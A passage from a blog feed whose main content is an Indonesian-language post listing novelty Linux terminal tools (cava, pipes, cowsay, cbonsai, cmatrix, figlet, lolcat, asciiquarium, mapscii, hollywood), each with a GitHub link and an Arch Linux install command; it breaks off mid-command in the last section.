&lt;p&gt;&lt;a href=&quot;https://rladiessydney.org/courses/ryouwithme/01-basicbasics-2/&quot; target=&quot;_blank&quot;&gt;https://rladiessydney.org/courses/ryouwithme/01-basicbasics-2/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-10&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.tidyverse.org/packages/&quot; target=&quot;_blank&quot;&gt;https://www.tidyverse.org/packages/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://allisonhorst.github.io/palmerpenguins/&quot; target=&quot;_blank&quot;&gt;https://allisonhorst.github.io/palmerpenguins/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rpubs.com/alfanugraha/r-graph&quot; target=&quot;_blank&quot;&gt;https://rpubs.com/alfanugraha/r-graph&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-11&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Cool Terminal Tools You Should Know</title><link>https://shangdi.github.io/posts/tech/cooltools/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/cooltools/</guid><description>Just a list of a couple of (funny) terminal tools</description><pubDate>Sun, 09 Jun 2024 09:59:47 GMT</pubDate><content:encoded>&lt;p&gt;Yoo, jumpa lagi!&lt;/p&gt;
&lt;p&gt;Saya mau berbagi sejumlah &lt;em&gt;tools&lt;/em&gt; terminal yang sayang jika dilewatkan, apalagi bagi kalian guys, linux nerds. Sebagian besar (atau mungkin semuanya) &lt;em&gt;tools&lt;/em&gt; yang akan saya &lt;em&gt;share&lt;/em&gt; di artikel ini murni &lt;em&gt;&lt;strong&gt;for fun&lt;/strong&gt;&lt;/em&gt;. Jadi, memang fungsinya hanya untuk &lt;em&gt;show off&lt;/em&gt; kecantikan terminal. But, anyway, berikut adalah 9 terminal &lt;em&gt;tools&lt;/em&gt; keren yang bisa kalian coba:&lt;/p&gt;
&lt;section&gt;&lt;h3&gt;1. cava&lt;a href=&quot;#1-cava&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cava adalah &lt;em&gt;cross-platform audio visualizer&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/karlstav/cava&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;karlstav&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;cava&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasi (Archlinux) via repositori komunitas (AUR - &lt;em&gt;Arch User Repository&lt;/em&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cava&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;589&quot; src=&quot;/_astro/gif1.BcjGJRfP_2Xdi8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk mengganti ukuran bar-nya, kita bisa menggunakan &lt;em&gt;arrow key&lt;/em&gt; di keybord: &lt;em&gt;&lt;code&gt;arrow left&lt;/code&gt;&lt;/em&gt; untuk memperbesar dan &lt;em&gt;&lt;code&gt;arrow right&lt;/code&gt;&lt;/em&gt; untuk memperkecil.&lt;br /&gt;
Untuk mengganti warnanya, kita bisa menekan huruf &lt;strong&gt;&lt;code&gt;f&lt;/code&gt;&lt;/strong&gt; di keyboard.&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cava&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;2. pipes&lt;a href=&quot;#2-pipes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pipes adalah &lt;em&gt;animated pipes terminal screensaver&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/pipeseroni/pipes.sh&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;pipeseroni&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;pipes.sh&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasi (Archlinux) via repositori komunitas (AUR - &lt;em&gt;Arch User Repository&lt;/em&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pipes.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;589&quot; src=&quot;/_astro/gif2.DYarYZCn_Z1fnHN2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipes.sh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;3. cowsay&lt;a href=&quot;#3-cowsay&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cowsay adalah &lt;em&gt;a configurable talking cow&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/piuccio/cowsay&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;piuccio&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;cowsay&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasinya (Archlinux) bisa merujuk ke repositori official:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cowsay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;589&quot; src=&quot;/_astro/gif3.BB-IYFR2_Z14h4VE.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;File config untuk menampilkan berbagai objeknya tersimpan di direktori &lt;code&gt;/usr/share/cows/&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;347&quot; src=&quot;/_astro/ss1.DuXtjCXC_ZsrzST.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cowsay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;4. cbonsay&lt;a href=&quot;#4-cbonsay&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cbonsai adalah &lt;em&gt;a bonsai tree generator&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/mhzawadi/homebrew-cbonsai&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;mhzawadi&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;homebrew-cbonsai&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasi (Archlinux) via repositori komunitas (AUR - &lt;em&gt;Arch User Repository&lt;/em&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cbonsai&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;648&quot; src=&quot;/_astro/gif4.DKwH_Bcb_1lVnC5.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cbonsai&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;5. cmatrix&lt;a href=&quot;#5-cmatrix&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cmatrix adalah &lt;em&gt;terminal based “The Matrix”-like implementation&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/abishekvashok/cmatrix&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;abishekvashok&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;cmatrix&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasinya (Archlinux) bisa merujuk ke repositori official:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cmatrix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;648&quot; src=&quot;/_astro/gif5.DaoBXyrm_1BiMs8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cmatrix&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;6. figlet&lt;a href=&quot;#6-figlet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Figlet? &lt;em&gt;Claudia’s FIGlet tree&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/cmatsuoka/figlet&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;cmatsuoka&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;figlet&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasinya (Archlinux) bisa merujuk ke repositori official:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;figlet&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;648&quot; src=&quot;/_astro/gif6.Cqmr3ykW_Z25g6oH.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;File font-nya tersimpan di direktori &lt;code&gt;/usr/share/figlet/fonts&lt;/code&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;842&quot; height=&quot;294&quot; src=&quot;/_astro/ss2.BCVz-iqJ_3g3zY.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;figlet&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;7. lolcat&lt;a href=&quot;#7-lolcat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Lolcat: &lt;em&gt;rainbow and unicorns&lt;/em&gt;!&lt;/p&gt;&lt;a href=&quot;https://github.com/busyloop/lolcat&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;busyloop&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;lolcat&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasinya (Archlinux) bisa merujuk ke repositori official:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lolcat&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;884&quot; src=&quot;/_astro/gif7.C5oDbHcy_asOR6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Baca-baca &lt;code&gt;help&lt;/code&gt;-nya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lolcat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;8. asciiquarium&lt;a href=&quot;#8-asciiquarium&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Asciiquairum: &lt;em&gt;Ascii aquarium in terminal&lt;/em&gt;!&lt;/p&gt;&lt;a href=&quot;https://github.com/cmatsuoka/asciiquarium&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;cmatsuoka&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;asciiquarium&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasinya (Archlinux) bisa merujuk ke repositori official:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;asciiquarium&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;655&quot; src=&quot;/_astro/gif8.C4P0uDld_1wnAHc.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;9. mapscii&lt;a href=&quot;#9-mapscii&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mapscii adalah &lt;em&gt;a Braille &amp;amp; ASCII world map renderer for your console&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/rastapasta/mapscii&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;rastapasta&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;mapscii&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;654&quot; src=&quot;/_astro/gif9.hsp9rrIq_kvrcI.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;10. hollywood&lt;a href=&quot;#10-hollywood&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Hollywood adalah &lt;em&gt;a technical melodrama&lt;/em&gt;.&lt;/p&gt;&lt;a href=&quot;https://github.com/dustinkirkland/hollywood&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;dustinkirkland&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;hollywood&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Instalasi (Archlinux) via repositori komunitas (AUR - Arch User Repository):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; 